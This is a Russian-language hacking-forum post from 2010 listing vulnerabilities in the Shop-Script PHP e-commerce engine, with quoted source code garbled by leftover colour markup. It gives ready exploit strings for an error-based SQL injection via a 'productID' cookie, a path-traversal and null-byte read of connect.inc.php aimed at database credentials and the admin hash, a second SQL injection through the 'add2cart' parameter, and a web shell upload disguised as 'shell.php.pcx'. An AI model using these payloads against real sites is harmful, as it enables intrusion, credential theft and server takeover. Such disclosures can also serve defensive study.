HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 21.11.2010, 22:29
[Dark Green]
Новичок
Регистрация: 13.05.2010
Сообщений: 11
Провел на форуме:
118828

Репутация: 13
По умолчанию

Оф. сайт: www.shop-script.ru | www.shop-script.соm

1) SQL injection

Необходимо register_globals=on, magic_quotes=off

Вообщем смотрим первый блок кода в файле index.php [77-88]:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]...

[/
COLOR][COLOR="#FF8000"]//$productID

[/COLOR][COLOR="#007700"]if (!isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"productID"[/COLOR][COLOR="#007700"]])){

if (isset([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"productID"[/COLOR][COLOR="#007700"]])){

[/
COLOR][COLOR="#0000BB"]$productID[/COLOR][COLOR="#007700"]= (int)[/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"productID"[/COLOR][COLOR="#007700"]];

}

}else{

[/
COLOR][COLOR="#0000BB"]$productID[/COLOR][COLOR="#007700"]= (int)[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"productID"[/COLOR][COLOR="#007700"]];

}

[/
COLOR][/COLOR
И, проанализировав логику работы этого псевдофильтра, можно понять что передать переменную методом GET и POST не получится никак.

НО! Разработчик забыл про куки! То есть создав куку с именем "productID" при register_global=on мы сможем создать глобальную переменную "$productID", которая в свою очередь попадет в запрос:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$productID[/COLOR][COLOR="#007700"]))[/COLOR][COLOR="#FF8000"]//to rollout categories navigation table

[/COLOR][COLOR="#007700"]{

[/
COLOR][COLOR="#0000BB"]$q[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]db_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"SELECT categoryID FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]PRODUCTS_TABLE[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" WHERE productID='[/COLOR][COLOR="#0000BB"]$productID[/COLOR][COLOR="#DD0000"]'"[/COLOR][COLOR="#007700"]) or die ([/COLOR][COLOR="#0000BB"]db_error[/COLOR][COLOR="#007700"]());

[/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]db_fetch_row[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$q[/COLOR][COLOR="#007700"]);

if ([/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]$categoryID[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]];

}

...

[/
COLOR][/COLOR
Правда для успешной эксплуатации нам потребуется magic_quotes=off. И к сожалению прямого вывода получить не удасться так как данная переменная попадает еще в несколько sql запросов дальше, и везде скрипт отрубается при возникновении ошибки в запросе. Так что тут юзать только метод вывода данных в тексте ошибок.

Эксплойт:

Код:
Code:
http://shop-script/index.php
COOKIE: productID=1' and (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(),FLOOR(RAND(0)*2),64))#
--------------------------------------------------------------------------------


2) Чтение файлов

Зависимостей нет

Файл includes/aux_page.php:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"aux_page"[/COLOR][COLOR="#007700"]])){

if ([/COLOR][COLOR="#0000BB"]strstr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"aux_page"[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"aux"[/COLOR][COLOR="#007700"]) &&[/COLOR][COLOR="#0000BB"]file_exists[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./cfg/"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"aux_page"[/COLOR][COLOR="#007700"]])){

[/
COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"./cfg/"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"aux_page"[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]$out[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]implode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$f[/COLOR][COLOR="#007700"]);

...

}

...

}

[/
COLOR][/COLOR
Вообщем все банально, только лишь проверка на наличие строки "aux" в переменной, но это обходится элементрано:

Эксплойт:

Код:
Code:
http://shop-script/index.php?aux_page=blaaux/../connect.inc.php
Вполне возможно, что юзать не существующую диру прокатит не на всех серверах, поэтому как вариант

Код:
Code:
http://shop-script/index.php?aux_page=connect.inc.php%00
Но в последнем случае уже нужны magic_quotes=off

Кстати в файле connect.inc.php помимо данных для подключения к БД хранится и логин/хеш админа.

--------------------------------------------------------------------------------


3) SQL injection

Зависимостей нет

Интересная уязвимость, есть смысл рассмотреть ее повнимательнее.

Файл includes/search_simple.php[17-55]:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"searchstring"[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]trim[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"searchstring"[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#FF8000"]//Здесь поисковая строка проходит фильтрацию

[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"searchstring"[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]validate_search_string[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"searchstring"[/COLOR][COLOR="#007700"]]);

...

[/
COLOR][COLOR="#FF8000"]//Здесь поисковая строка разбивается на слова

[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]explode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]" "[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"searchstring"[/COLOR][COLOR="#007700"]]);

...

if ([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"searchstring"[/COLOR][COLOR="#007700"]]){

...

[/
COLOR][COLOR="#0000BB"]$s_search[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]"SELECT count(*) FROM "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]PRODUCTS_TABLE[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" WHERE Enabled=1 and categoryID<>0 and "[/COLOR][COLOR="#007700"];

[/
COLOR][COLOR="#FF8000"]//Здесь первое(!) слово из поисковой строки попадает в запрос

[/COLOR][COLOR="#0000BB"]$s_search[/COLOR][COLOR="#007700"].=[/COLOR][COLOR="#DD0000"]"((name LIKE '%"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"%' OR description LIKE '%"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"%' OR brief_description LIKE '%"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"%') "[/COLOR][COLOR="#007700"];

for ([/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]$j[/COLOR][COLOR="#007700"][/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]){

[/
COLOR][COLOR="#0000BB"]$q[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]db_query[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"select in_stock from "[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]PRODUCTS_TABLE[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]" where productID='"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"add2cart"[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#DD0000"]"'"[/COLOR][COLOR="#007700"]) or die ([/COLOR][COLOR="#0000BB"]db_error[/COLOR][COLOR="#007700"]());

...

}

...

}

[/
COLOR][/COLOR
Тут все банально. Переменная не проходит фильтрацию и попадает в запрос.

Эксплойт:

Код:
Code:
http://shop-script/index.php?shopping_cart=1&add2cart=1'or (SELECT COUNT(*) FROM (SELECT 1 UNION SELECT 2 UNION SELECT 3)x GROUP BY MID(VERSION(),FLOOR(RAND(0)*2),64))#
--------------------------------------------------------------------------------


5) Заливка шелла

Необходимы админские права.

Файл products.php:

PHP код:
PHP:
[
COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if (isset([/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"picture"[/COLOR][COLOR="#007700"]]) &&[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"picture"[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]"name"[/COLOR][COLOR="#007700"]] &&[/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/\.(jpg|jpeg|gif|jpe|pcx|bmp)$/i'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"picture"[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]"name"[/COLOR][COLOR="#007700"]])){

[/
COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"picture"[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]"name"[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]str_replace[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]" "[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"_"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"picture"[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]"name"[/COLOR][COLOR="#007700"]]);

[/
COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]move_uploaded_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"picture"[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]"tmp_name"[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#DD0000"]"./products_pictures/"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$_FILES[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]"picture"[/COLOR][COLOR="#007700"]][[/COLOR][COLOR="#DD0000"]"name"[/COLOR][COLOR="#007700"]]);

...

}[/
COLOR][/COLOR
Фактически файл проходит таки проверку на расширения. Но все наверное знают об обработке апачем множественных расширений. То есть апач обрабатывает с конца имени файла все расширения пока не найдет известное.

На основе этого мы просто загружаем наш шелл с именем "shell.php.pcx". Он будет находится по адресу:

http://shop-script/products_pictures/shell.php.pcx
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ